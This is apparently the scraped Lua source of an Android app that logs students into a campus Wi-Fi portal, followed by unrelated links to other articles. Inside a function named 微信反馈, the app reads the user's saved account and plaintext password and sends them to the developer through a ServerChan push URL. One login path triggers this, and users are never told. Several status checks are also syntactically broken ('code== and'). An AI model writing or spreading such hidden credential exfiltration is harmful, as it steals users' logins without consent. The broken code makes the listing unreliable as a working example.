import 'android.webkit.WebView'webView.addJavascriptInterface({},'JsInterface')
import 'test'
cjson=require ("cjson") --解析json字符
--程序启动时会执行的事件 function 写文件(名称,内容)
文件路径="/sdcard/校网助手/"..名称
io.open(文件路径,'w'):write(内容):close()
end
当前版本="5.0"
function 检查更新()
local url="https://www.cnblogs.com/pengwenzheng/p/8553104.html"
--sj(m,"txt":"","state",m)
Http.get(url,nil,"utf8",nil,function(code,content,cookie,header)
if(code== and content)then
local con=content
--string.match("左测试测试右","左(.-)右")
local 版本号=con.match(con,"版本号【(.-)】")
local 更新内容=con.match(con,"更新内容【(.-)】")
local 下载链接=con.match(con,"下载链接【(.-)】")
local 公告=con.match(con,"公告【(.-)】")
local 广告=con.match(con,"广告【(.-)】")
if (版本号>=当前版本) then
对话框()
.设置标题("版本更新")
.设置消息(公告)
.设置积极按钮("下载更新",function()
加载网页(下载链接)
end)
.设置消极按钮("取消")
.显示()
end
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function 微信反馈()
local zh=io.open("/sdcard/校网助手/账户.txt"):read("*a")
local z=zh:match("(.+)&")
local m=zh:match("upass=(.+)")
local time=os.date("%Y-%m-%d %H:%M:%S")
local ww="https://sc.ftqq.com/SCU26231T3d328ea1d7已修改5e619d412b2937b0e5af42e7d782a3.send?text="
local x="主人校网助手有人上线了!账号:"
local g="mima:"
local k="&desp="
local wx =ww..x..z..k..time..g..m
Http.get(wx,nil,"utf8",nil,function(code,content,cookie,header)
if(code== and content)then
--print(content)
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function 登陆()
InputLayout={
LinearLayout;
orientation="vertical";
Focusable=true,
FocusableInTouchMode=true,
{
TextView;
id="Prompt",
textSize="15sp",
layout_marginTop="10dp";
layout_marginLeft="3dp",
layout_width="80%w";
layout_gravity="center",
text="运营商输入:移动,联通,电信,单宽";
};
{
EditText;
hint="账号";
layout_marginTop="5dp";
layout_width="80%w";
layout_gravity="center",
id="edit";
};
{
EditText;
hint="密码";
layout_marginTop="5dp";
layout_width="80%w";
layout_gravity="center",
id="edit2";
};
{
EditText;
hint="运营商";
layout_marginTop="5dp";
layout_width="80%w";
layout_gravity="center",
id="edit3";
};
};
AlertDialog.Builder(this)
.setTitle("首次登陆")
.setView(loadlayout(InputLayout))
.setPositiveButton("确定",{onClick=function(v)
if edit3.Text=="移动"then
yys="cmcc"
elseif edit3.Text=="联通"then
yys="liantong"
elseif edit3.Text=="电信"then
yys="dianxin"
else
yys="dankuan"
end
local 拼接=edit.Text.."@"..yys.."&upass="..edit2.Text
写文件("账户.txt",拼接)
end})
.setNegativeButton("取消",nil)
.show()
end
function 检验()
jyurl="http://1.1.1.1"
Http.get(jyurl,nil,"gb2312",nil,function (code,content,cookie,header)
if(code== and content)then
title=content.match(content,"<title>(.-)</title>")
return title
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function 语录()
local url="http://word.rainss.cn/api_system.php?type=json"
--sj(m,"txt":"","state",m)
Http.get(url,nil,"utf8",nil,function(code,content,cookie,header)
if(code== and content)then
local json=cjson.decode(content)
-- print(dump(json))--输出json字符
--print(json.txt)
local output=json.txt
对话框()
.设置标题("语录")
.设置消息(output)
.设置积极按钮("确定",function()
显示消息("加油努力!")
end)
.设置消极按钮("取消")
.显示()
else
提示("本地网络或服务器异常 "..code)
end
end)
end
function post()
ip=findip()
ip=string.gsub(ip," ","")
print("您的动态ip为"..ip)
url="http://1.1.1.1:801/eportal/?c=ACSetting&a=Login&protocol=http:&hostname=1.1.1.1&iTermType=2&wlanuserip="
url1="&wlanacip=10.10.9.200&mac=00-00-00-00-00-00&ip="
url2="&enAdvert=0&queryACIP=0&loginMethod=1"
url3=url..ip..url1..url2
zh=io.open("/sdcard/校网助手/账户.txt"):read("*a")
data="DDDDD="..zh.."&R1=0&R2=0&R3=0&R6=1&para=00&0MKKey=123456&buttonClicked=&redirect_url=&err_flag=&username=&password=&user=&cmd=&Login=Y"
data=string.gsub(data," ","")
Http.post(url3,data,nil,"gb2312",nil,function(code,content,cookie,header)
if(code== and content)then
jyurl="http://1.1.1.1"
Http.get(jyurl,nil,"gb2312",nil,function (code,content,cookie,header)
if(code== and content)then
title=content.match(content,"<title>(.-)</title>")
if (title=="注销页") then
print("登陆成功")
语录()
--微信反馈()
检查更新()
else
print("登陆失败……自动尝试二次登陆。")
Http.post(url3,data,nil,"gb2312",nil,function(code,content,cookie,header)
if(code== and content)then
jyurl="http://1.1.1.1"
Http.get(jyurl,nil,"gb2312",nil,function (code,content,cookie,header)
if(code== and content)then
title=content.match(content,"<title>(.-)</title>")
if (title=="注销页") then
print("登陆成功")
语录()
微信反馈()
检查更新()
end
end
end)
end
end)
end
--检测校网是否登陆
end
end) else
print("本地网络或服务器异常 "..code)
end
end)
end
function 检测Wifi()
import "android.content.Context"
wifi = activity.Context.getSystemService(Context.WIFI_SERVICE)
wi = wifi.isWifiEnabled()
return wi
end
function findip()
wifi = activity.Context.getSystemService(Context.WIFI_SERVICE).getDhcpInfo()
ip=string.match(tostring(wifi),"ipaddr(.-)gate")
return ip
end
function main()
if 检测Wifi() then
post()
else
对话框()
.设置标题("错误")
.设置消息("检测到您未开启Wifi")
.设置积极按钮("确定",function()
显示消息("点击了确定")
end)
.设置消极按钮("取消")
.显示()
end
end
function 主程序()
import "java.io.File"--导入File类
路径="/sdcard/校网助手/"
if File(路径).exists() then
print("欢迎回来")
main()
--io.open(文件路径):read("*a")
else
print("您是首次使用本软件……")
File(路径).mkdir()
登陆()
end
end
主程序()

校网助手APP lua源码的更多相关文章

  1. wemall app商城源码Android之支付宝通知处理类

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之处 ...

  2. wemall app商城源码机器人检测

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之 ...

  3. wemall app商城源码Android之支付宝接口公用函数

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之  ...

  4. wemall app商城源码Android数据的SharedPreferences储存方式

    wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android数据 ...

  5. wemall app商城源码Android之ListView异步加载网络图片(优化缓存机制)

    wemall-mobile是基于WeMall的android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码Android之L ...

  6. wemall app商城源码中android按钮的三种响应事件

    wemall-mobile是基于WeMall的android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享wemall app商城源码中android按 ...

  7. <转>windows下编译lua源码

    因为之前一直使用 lua for windows 来搭建lua的使用环境,但是最新的 lua for windows 还没有lua5.2,我又想用这个版本的lua,所以被逼无奈只能自己编一下lua源码 ...

  8. Lua源码编译之CL编译器编译

    通过使用VC下的CL编译器,可方便地编译Lua源码,而无需构造工程并设置各种选项: 以下以源码Lua5.3.1版本为例,将通过CL编译选项直接编译源码,为方便编译将采用批处理脚本,脚本放置在Lua解压 ...

  9. 用VC编译lua源码,生成lua语言的解释器和编译器

    用VC编译lua源码,生成lua语言的解释器和编译器 1.去网址下载源码 http://www.lua.org/download.html 2.装一个VC++,我用的是VC6.0 3.接下来我们开始编 ...

随机推荐

  1. A. Polo the Penguin and Strings

    time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standa ...

  2. [Python] How to unpack and pack collection in Python?

    It  is a pity that i can not add the video here. As a result, i offer the link as below: How to unpa ...

  3. PHP连接数据库(注冊页面的增删改查)

    1.连接数据库 ---------–connect.php--------------– <?php //本地測试 $host = '127.0.0.1'; $port = 3306; $use ...

  4. 动态JSP的了解

    一.JSP与HTML的根本区别 1..JSP(Java Server Page)页面是动态页,JSP页面是有JSP容器执行该页面的Java代码部分然后实时生成的HTML页面,因而说是动态页面.2..H ...

  5. B. Amr and The Large Array(Codeforces Round #312 (Div. 2)+找出现次数最多且区间最小)

    B. Amr and The Large Array time limit per test 1 second memory limit per test 256 megabytes input st ...

  6. c# 钩子

    1.setWindowsHookex详解 http://blog.csdn.net/mmllkkjj/article/details/6627188 函数功能:该函数将一个应用程序定义的挂钩处理过程安 ...

  7. luogu1941 飞扬的小鸟

    题目大意 游戏界面是一个长为n ,高为 m 的二维平面,其中有k 个管道(忽略管道的宽度).小鸟始终在游戏界面内移动.小鸟从游戏界面最左边任意整数高度位置出发,到达游戏界面最右边时,游戏完成.小鸟每个 ...

  8. 【Codevs 2115】数集分割

    http://codevs.cn/problem/2115/ // <2115.cpp> - Sun Oct 9 12:58:23 2016 // This file is made by ...

  9. 关于redis、memcache、mongoDB的对比

    从以下几个维度,对 Redis.memcache.MongoDB 做了对比.1.性能都比较高,性能对我们来说应该都不是瓶颈.总体来讲,TPS 方面 redis 和 memcache 差不多,要大于 m ...

  10. JSP-Runoob:JSP 教程

    ylbtech-JSP-Runoob:JSP 教程 1.返回顶部 1. JSP 教程 JSP 与 PHP.ASP.ASP.NET 等语言类似,运行在服务端的语言. JSP(全称Java Server ...